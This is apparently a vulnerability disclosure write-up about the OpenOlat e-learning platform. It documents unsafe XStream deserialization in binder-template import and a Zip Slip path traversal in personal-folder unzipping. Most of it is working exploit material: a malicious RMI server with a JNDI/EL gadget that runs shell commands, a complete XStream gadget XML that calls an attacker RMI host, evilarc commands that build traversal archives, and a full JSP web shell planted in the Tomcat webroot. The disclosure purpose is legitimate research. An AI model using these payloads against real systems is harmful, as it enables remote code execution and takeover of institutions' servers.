During a night of research for an internal presentation about Java deserialization issues, I stumbled upon OpenOlat - a Java-based E-Learning platform used by multiple universities and institutions [0].
A cursory inspection of the OpenOlat code base using the powerful code analysis
tool grep
revealed, that the solution is
vulnerable to unsafe deserialization of user data and path traversal
in the handling of archive files, both of which leading to arbitrary code
execution. In the following, a brief description of the vulnerabilities and a
Proof-of-Concept (PoC) for a specific instance of these vulnerability classes will be
provided. Please be aware, that although there are multiple occurrences of each
class, not all potential instances will be documented here.
As shown in the following code search, the solution extensively uses the XStream framework for the serialization of data:
grep -rnI 'fromXML(' OpenOlat/src | wc -l
83
Fun fact: Somehow CodeQL seems to miss these instances.
Furthermore, a brief inspection revealed, that the XStream security framework is not properly configured. This allows for the execution of arbitrary code, when deserializing user-controlled data.
As an example for a potential attack scenario, the functionality to import
so-called binder-templates as a user with an attached Author
role will be
used.
Importing resources allows for the import of binder-templates, which are
represented by a Zip archive containing a file binder.xml
:
public RepositoryEntry importResource(Identity initialAuthor, String initialAuthorAlt, String displayname, String description,
boolean withReferences, Organisation organisation, Locale locale, File file, String filename) {
...
//import binder
File binderFile = new File(zipRoot, BinderTemplateResource.BINDER_XML);
Binder transientBinder = BinderXStream.fromPath(binderFile.toPath());
The file binder.xml
is deserialized using XStream's fromXML()
:
public static final Binder fromPath(Path path)
throws IOException {
try(InputStream inStream = Files.newInputStream(path)) {
return (Binder)myStream.fromXML(inStream);
} catch (Exception e) {
log.error("Cannot import this map: " + path, e);
return null;
}
}
The myStream
object is an instance of the EnhancedXStream
wrapper class,
which does not indicate to utilize XStream's security framework:
public EnhancedXStream(boolean export) {
super();
if (export) {
addDefaultImplementation(PersistentList.class, List.class);
addDefaultImplementation(PersistentBag.class, List.class);
addDefaultImplementation(PersistentMap.class, Map.class);
addDefaultImplementation(PersistentSortedMap.class, Map.class);
addDefaultImplementation(PersistentSet.class, Set.class);
addDefaultImplementation(PersistentSortedSet.class, Set.class);
addDefaultImplementation(ArrayList.class, List.class);
registerConverter(new CollectionConverter(getMapper()) {
@Override
public boolean canConvert(@SuppressWarnings("rawtypes") Class type) {
return PersistentList.class == type || PersistentBag.class == type;
}
});
registerConverter(new MapConverter(getMapper()) {
@Override
public boolean canConvert(@SuppressWarnings("rawtypes") Class type) {
return PersistentMap.class == type;
}
});
}
}
The PoC uses a JNDI gadget (I know there are other gadgets for the XStream
version in question, but the used gadget worked for me in the past on most
targets), that eventually spawns a calculator on the local
development machine running the OpenOlat instance. To reproduce the issue,
please a create a user with an Author
role, hereby called author.
Next, it is needed to build a custom JNDI server to successfully exploit this
issue as described in [1]. Therefore, please clone the marshalsec
repository:
git clone https://github.com/mbechler/marshalsec.git
Then, add the following RMI server code at the path
src/main/java/marshalsec/jndi/EvilRMIServerNew.java
:
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
public class EvilRMIServerNew {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','gnome-calculator']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
Now, please add a missing dependency in the project's pom.xml
:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.0.38</version>
</dependency>
Finally, please build the marshalsec
project using mvn
, making sure to use
Java 8 by ,e.g., setting the environment variable JAVA_HOME
to point to a
local JDK version 8:
JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64 mvn clean package -DskipTests
Please note, that in the following steps, the used IP addresses need to be adjusted to match the local environment.
Next, please create the file binder.xml
using the following content,
representing the JNDI gadget, while adjusting the respective IP addresses
(A binder.xml
file can be obtained by creating and exporting a Binder
template in your OpenOlat instance):
<java.util.HashMap>
<entry>
<org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor serialization="custom">
<org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
<default>
<adviceBeanName>rmi://192.168.188.29:1097/Object</adviceBeanName>
<beanFactory class="org.springframework.jndi.support.SimpleJndiBeanFactory">
<logger class="org.apache.commons.logging.impl.NoOpLog"/>
<jndiTemplate>
<logger class="org.apache.commons.logging.impl.NoOpLog"/>
</jndiTemplate>
<resourceRef>true</resourceRef>
<shareableResources class="java.util.HashSet">
<string>rmi://192.168.188.29:1097/Object</string>
</shareableResources>
<singletonObjects/>
<resourceTypes/>
</beanFactory>
</default>
</org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
<org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor>
<default>
<pointcut class="org.springframework.aop.TruePointcut"/>
</default>
</org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor>
</org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor>
<org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor reference="../org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"/>
</entry>
<entry>
<org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor serialization="custom">
<org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
<default>
<adviceBeanName>rmi://192.168.188.29:1097/Object</adviceBeanName>
<beanFactory class="org.springframework.jndi.support.SimpleJndiBeanFactory">
<logger class="org.apache.commons.logging.impl.NoOpLog"/>
<jndiTemplate>
<logger class="org.apache.commons.logging.impl.NoOpLog"/>
</jndiTemplate>
<shareableResources class="java.util.HashSet"/>
</beanFactory>
</default>
</org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
<org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor>
<default>
<pointcut class="org.springframework.aop.TruePointcut" reference="../../../../../entry/org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor/org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor/default/pointcut"/>
</default>
</org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor>
</org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor>
<org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor reference="../org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"/>
</entry>
</java.util.HashMap>
Additionally, create the file repo.xml
using the following content (this can
also be obtained by creating and exporting a Binder template):
<RepositoryEntryProperties>
<key>589824</key>
<Softkey>myopenolat_1_103381129811941</Softkey>
<ResourceName>-</ResourceName>
<DisplayName>BumsTemplate</DisplayName>
<Description></Description>
<InitialAuthor>administrator</InitialAuthor>
<licenseTypeKey>1</licenseTypeKey>
<licenseTypeName>no.license</licenseTypeName>
<licenseText></licenseText>
<outer-class>
<propertiesLoaded>false</propertiesLoaded>
<re>
<key>589824</key>
<version>4</version>
<creationDate class="sql-timestamp">2021-03-09 22:58:25</creationDate>
<lastModified class="sql-timestamp">2021-03-09 22:58:58</lastModified>
<softkey>myopenolat_1_103381129811941</softkey>
<olatResource class="org.olat.resource.OLATResourceImpl">
<key>196609</key>
<version>0</version>
<creationDate class="sql-timestamp">2021-03-09 22:58:25</creationDate>
<resName>BinderTemplate</resName>
<resId>103381129811940</resId>
</olatResource>
<groups class="org.hibernate.collection.internal.PersistentSet">
<isTempSession>false</isTempSession>
<initialized>false</initialized>
<owner class="org.olat.repository.RepositoryEntry" reference="../.."/>
<cachedSize>-1</cachedSize>
<role>org.olat.repository.RepositoryEntry.groups</role>
<key class="long">589824</key>
<dirty>false</dirty>
<elementRemoved>false</elementRemoved>
<allowLoadOutsideTransaction>false</allowLoadOutsideTransaction>
</groups>
<organisations class="org.hibernate.collection.internal.PersistentSet">
<isTempSession>false</isTempSession>
<initialized>false</initialized>
<owner class="org.olat.repository.RepositoryEntry" reference="../.."/>
<cachedSize>-1</cachedSize>
<role>org.olat.repository.RepositoryEntry.organisations</role>
<key class="long">589824</key>
<dirty>false</dirty>
<elementRemoved>false</elementRemoved>
<allowLoadOutsideTransaction>false</allowLoadOutsideTransaction>
</organisations>
<taxonomyLevels class="org.hibernate.collection.internal.PersistentSet">
<isTempSession>false</isTempSession>
<initialized>false</initialized>
<owner class="org.olat.repository.RepositoryEntry" reference="../.."/>
<cachedSize>-1</cachedSize>
<role>org.olat.repository.RepositoryEntry.taxonomyLevels</role>
<key class="long">589824</key>
<dirty>false</dirty>
<elementRemoved>false</elementRemoved>
<allowLoadOutsideTransaction>false</allowLoadOutsideTransaction>
</taxonomyLevels>
<resourcename>-</resourcename>
<displayname>BumsTemplate</displayname>
<description></description>
<initialAuthor>administrator</initialAuthor>
<externalRef></externalRef>
<statistics>
<key>557056</key>
<creationDate class="sql-timestamp">2021-03-09 22:58:25</creationDate>
<lastModified class="sql-timestamp">2021-03-09 22:58:25</lastModified>
<numOfRatings>0</numOfRatings>
<numOfComments>0</numOfComments>
<launchCounter>1</launchCounter>
<downloadCounter>0</downloadCounter>
<lastUsage class="sql-timestamp">2021-03-09 22:58:25</lastUsage>
</statistics>
<status>published</status>
<allUsers>false</allUsers>
<guests>false</guests>
<bookable>false</bookable>
<canCopy>false</canCopy>
<canReference>false</canReference>
<canDownload>false</canDownload>
<allowToLeave>atAnyTime</allowToLeave>
</re>
<baseDirectory>/tmp/openolat/olatdata/bcroot/repository/103381129811940/media</baseDirectory>
</outer-class>
</RepositoryEntryProperties>
Finally, please create the Zip archive JRN.zip
using both files:
zip JRN.zip binder.xml repo.xml
Next, in a separate terminal, please start the custom RMI server, while adjusting the respective IP address:
java -Djava.rmi.server.hostname=192.168.119.227 \
-cp target/marshalsec-0.0.3-SNAPSHOT-all.jar EvilRMIServerNew
Now, please navigate to the OpenOlat Authoring
tab using the created author
and import the JRN.zip
file. This results in spawning a calculator as shown
in the following image:
Please note that using the JNDI gadget in the file repo.xml
also successfully
exploits another instance of this vulnerability class. While not confirmed,
given the number of instances it seems likely that an instance of this
vulnerability class can be triggered by users without special permissions.
The inspection of the personal folder feature revealed, that the handling of Zip archives allows for a path traversal attack (Zip Slip) resulting in the ability to write arbitrary files outside of the configured directory, hence potentially leading to arbitrary code execution.
To demonstrate a potential attack, a simple Zip archive is uploaded to a normal
user's personal folder and then unzipped, eventually ending up being unzipped
using net.sf.jazzlib
(http://jazzlib.sourceforge.net/) without checking for
potential path traversal attacks.
A tool to create a Zip archives that exploit potential directory traversal
vulnerabilities is the Python script evilarc.py
:
wget https://raw.githubusercontent.com/ptoomey3/evilarc/master/evilarc.py
There are many ways to gain code execution from a arbitrary file write. Here
we will upload a default JSP webshell
(https://github.com/BustedSec/webshell/blob/master/index.jsp) for
demonstration purposes.
CVE-2021-391u
Please create the file index.jsp
with the following JSP web shell as content:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
Now, please use the downloaded Python script to create a malicious Zip archive,
that - in a first step - writes the web shell into the local /tmp
directory:
python2 ./evilarc.py -d 20 -o unix -p /tmp ./index.jsp
Creating evil.zip containing ../../../../../../../../../../../../../../../../../../../..//tmp/index.jsp
Finally, upload the created evil.zip
to a normal user's personal folder and
unzip it.
This has created the file /tmp/index.jsp
:
ls -lh /tmp/index.jsp
-rw-rw-r-- 1 m m 580 Jun 17 16:00 /tmp/index.jsp
To gain arbitrary code execution the web shell will now be extracted into the
local Tomcat's root directory. For production environments, this path would be
a path similar to /home/openolat/webapps/ROOT
:
python2 ./evilarc.py -d 20 -o unix -p /home/openolat/webapps/ROOT ./index.jsp
Now, the web shell can be found at http://localhost:8080/index.jsp
as shown
in the following image:
[0] https://www.openolat.com/referenzen/
[1] https://www.veracode.com/blog/research/exploiting-jndi-injections-java